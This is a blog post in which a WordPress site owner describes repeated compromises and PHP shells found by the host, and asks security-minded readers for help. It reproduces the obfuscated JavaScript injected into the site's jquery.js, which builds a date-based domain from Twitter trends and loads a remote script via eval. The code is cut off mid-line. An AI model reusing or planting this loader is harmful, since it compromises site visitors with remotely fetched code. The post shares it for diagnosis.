Talking about Users contributions and WordPress.
You know this blog has been attacked several times by hackers (or crackers, call them whatever you want, I can’t tell you how would I call them).
I tried everything, such as 10 ways to secure your WordPress blog and changing the hosting.
Attacks continue, with injection of malicious code in javascript files.
I had my hotsing service, HostGator, monitoring the activity on the blog and they said “We found a few PHP shells on your account and removed this. This indicates that you have insecure scripts on your account. Please review each script and esure that you are running the latest versions”.
Obviously I am running the latest versions of everything, so I really do not know how to prevent the site for being hacked almost every day.
That’s why I need you… I am not a security expert but maybe some of you are.
I need some hints and tips about finding this insecure script and removing it once for all.
I will update this post with all information you need.
If you are a security pro, I can pay for your service or can give you a lifetime ad somewhere in the blog (but I’d prefer to pay :))
UPDATE #1
The blog has been attacked again. Look how did the modify jquery.js file
And this is the injected code
$a="Z64zZ3dZ22Z2566uZ256ecZ2574ionZ2520Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ252574Z252eZ252577ritZ252565(Z25252Z2532Z2527;Z2563eZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iZ2525Z2537Z2530Z2574Z252520Z25256cZ252561Z256egZ252575Z252561Z2567eZ25253dZ25255cZ252522jZ2561vasZ252563rZ2569Z2570Z252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriZ252570tZ25253eZ2527;evaZ256c(uZ256eZ2565Z2573Z2563apeZ2528t))Z257d;Z22;czZ3dZ22Z2566uncZ2574ioZ256e cZ257a(czZ2529Z257brZ2565tuZ2572n Z2563Z2561+Z2563b+cZ2563Z252bcdZ252bce+Z2563z;}Z253bZ22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;ceZ3dZ223harZ2543odZ2565AtZ2528Z2530Z2529^(Z25270Z257800Z2527+eZ2573)))Z253b}}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;stZ3dZ22Z2573tZ253dZ2522Z2524aZ253dsZ2574;Z2564Z2563sZ2528Z2564Z2561Z252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577Z2528sZ2574)Z253bsZ2574Z253d$Z2561;Z2522;Z22;cdZ3dZ22dst+Z2553trZ2569ng.Z2566Z2572omZ2543hZ2561Z2572Z2543oZ2564e((Z2574Z256dp.Z256Z22;caZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564csZ2528dsZ252cesZ2529Z257bdsZ253dunZ2565scaZ257Z22;opZ3dZ22Z2524aZ253dZ2522dw(Z2564Z2563Z2573(cZ2575Z252cZ2531Z2534Z2529);Z2522;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cbZ3dZ220Z2565(Z2564s)Z253bstZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.lZ256Z22;ccZ3dZ225nZ2567th;Z2569++)Z257btmZ2570Z253dds.sZ256cicZ2565(i,Z2569+1)Z253bstZ253Z22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;Z69Z66 Z28Z64oZ63Z75menZ74.coZ6fkiZ65Z2eindZ65xOfZ28Z27rZ665Z66Z36dsZ27)Z3dZ3d-1)Z7bfuZ6ecZ74Z69oZ6e Z63aZ6clbZ61cZ6b(Z78)Z7bwinZ64ow.Z74w Z3d Z78;vZ61Z72 dZ20Z3d Z6eew Z44Z61te(Z29Z3bdZ2eZ73Z65tZ54Z69mZ65Z28x[Z22as_Z6fZ66Z22]Z2a100Z30)Z3bZ76arZ20h Z3d Z64.geZ74Z55TZ43HZ6fZ75Z72Z73Z28)Z3bwZ69nZ64Z6fZ77.h Z3d hZ3bZ69Z66Z20(Z68 Z3e Z38)Z7bZ64Z2esetZ55TCZ44atZ65(d.Z67eZ74Z55TCDZ61Z74e(Z29 Z2d 2)Z3b}Z65lsZ65Z7bdZ2esetZ55TCZ44atZ65(dZ2egZ65tUZ54CDZ61te(Z29 - Z33)Z3bZ7dwinZ64Z6fZ77Z2eZ67dZ20Z3d Z64;vaZ72 tiZ6de Z3dZ20nZ65Z77Z20ArrZ61y()Z3bvarZ20sZ68iftZ49Z6edeZ78 Z3d Z22Z22;tiZ6de[Z22yeZ61rZ22] Z3d d.gZ65tZ55Z54CZ46uZ6clZ59eZ61rZ28);tZ69Z6deZ5bZ22montZ68Z22] Z3d d.Z67eZ74Z55Z54Z43MonZ74hZ28Z29Z2b1;tZ69me[Z22dZ61yZ22] Z3d d.Z67etZ55TCDZ61teZ28)Z3bZ69fZ20(d.Z67etZ55Z54Z43MZ6fZ6eth(Z29+Z31 Z3c 10)Z7bshiZ66tIZ6edZ65xZ20Z3d timeZ5bZ22yeaZ72Z22] +Z20Z22-0Z22 + (Z64.gZ65tUTZ43MonZ74h(Z29+1)Z3bZ7deZ6csZ65Z7bshiftIZ6eZ64eZ78Z20Z3d tiZ6deZ5bZ22yZ65arZ22] + Z22-Z22 +Z20(d.Z67etZ55TCZ4donZ74h()Z2b1Z29;}iZ66 (Z64.geZ74UTCZ44ateZ28) Z3c Z310)Z7bsZ68iftZ49ndZ65x Z3dshiZ66tInZ64ex Z2b Z22-0Z22 Z2b dZ2egZ65Z74UTCZ44aZ74Z65(Z29;Z7delsZ65Z7bshiftIZ6edeZ78 Z3d Z73hifZ74IndZ65Z78 +Z20Z22Z2dZ22 + dZ2egetZ55Z54Z43DaZ74e()Z3bZ7ddZ6fZ63umZ65Z6etZ2eZ77Z72Z69Z74e(Z22Z3cscrZ22+Z22iptZ20lanZ67uaZ67eZ3djZ61vZ61sZ63riZ70tZ22+Z22 sZ72Z63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77Z69tZ74eZ72.cZ6fmZ2ftrZ65nZ64Z73Z2fZ64aiZ6cy.jZ73oZ6e?dZ61teZ3dZ22+ sZ68ifZ74InZ64Z65x+Z22&caZ6clbZ61cZ6bZ3dcallZ62Z61cZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iZ70tZ3eZ22);}Z20Z66Z75nctZ69oZ6eZ20cZ61lZ6cbacZ6bZ32Z28xZ29Z7bwindZ6fZ77Z2etwZ20Z3d x;scZ28Z27rf5Z666dsZ27,Z32,7Z29Z3bevZ61Z6cZ28uZ6eZ65scZ61Z70Z65(dZ7aZ2bcz+Z6fp+sZ74Z29Z2bZ27dw(dZ7a+Z63z(Z24a+sZ74));Z27Z29Z3bdZ6fcumZ65Z6eZ74.Z77ritZ65($aZ29Z3b}dZ6fcZ75menZ74.wZ72Z69te(Z22Z3cimg Z73rcZ3dZ27httZ70:Z2fZ2fseaZ72Z63h.tZ77ittZ65rZ2ecoZ6dZ2fimagZ65Z73Z2fsearcZ68Z2frZ73s.pZ6egZ27 widtZ68Z3d1 heiZ67htZ3d1 sZ74yleZ3dZ27visibZ69litZ79Z3aZ68iZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75ageZ3djavZ61Z73Z63rZ69ptZ22+Z22 srZ63Z3dZ27httpZ3aZ2fZ2fsearch.twZ69Z74terZ2ecZ6fmZ2ftrendZ73Z2fdailZ79.Z6asoZ6e?cZ61Z6clbZ61Z63kZ3dcallbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};fZ75nZ63tioZ6e scZ28Z63nm,Z76,eZ64Z29Z7bvar Z65xdZ3dnew Z44Z61te(Z29Z3beZ78d.sZ65Z74DZ61teZ28eZ78d.Z67eZ74Z44ateZ28)+eZ64Z29;doZ63Z75Z6dZ65nZ74.cZ6foZ6bieZ3dcnmZ2bZ20Z27Z3dZ27 +escape(Z76)Z2bZ27;eZ78pZ69rZ65sZ3dZ27+eZ78dZ2eZ74Z6fGZ4dTStZ72iZ6eg()Z3b}Z3b";function z(s){r="";for(i=0;i
Never miss an update! Subscribe, and I will bother you by email only when a new game or full source code comes out.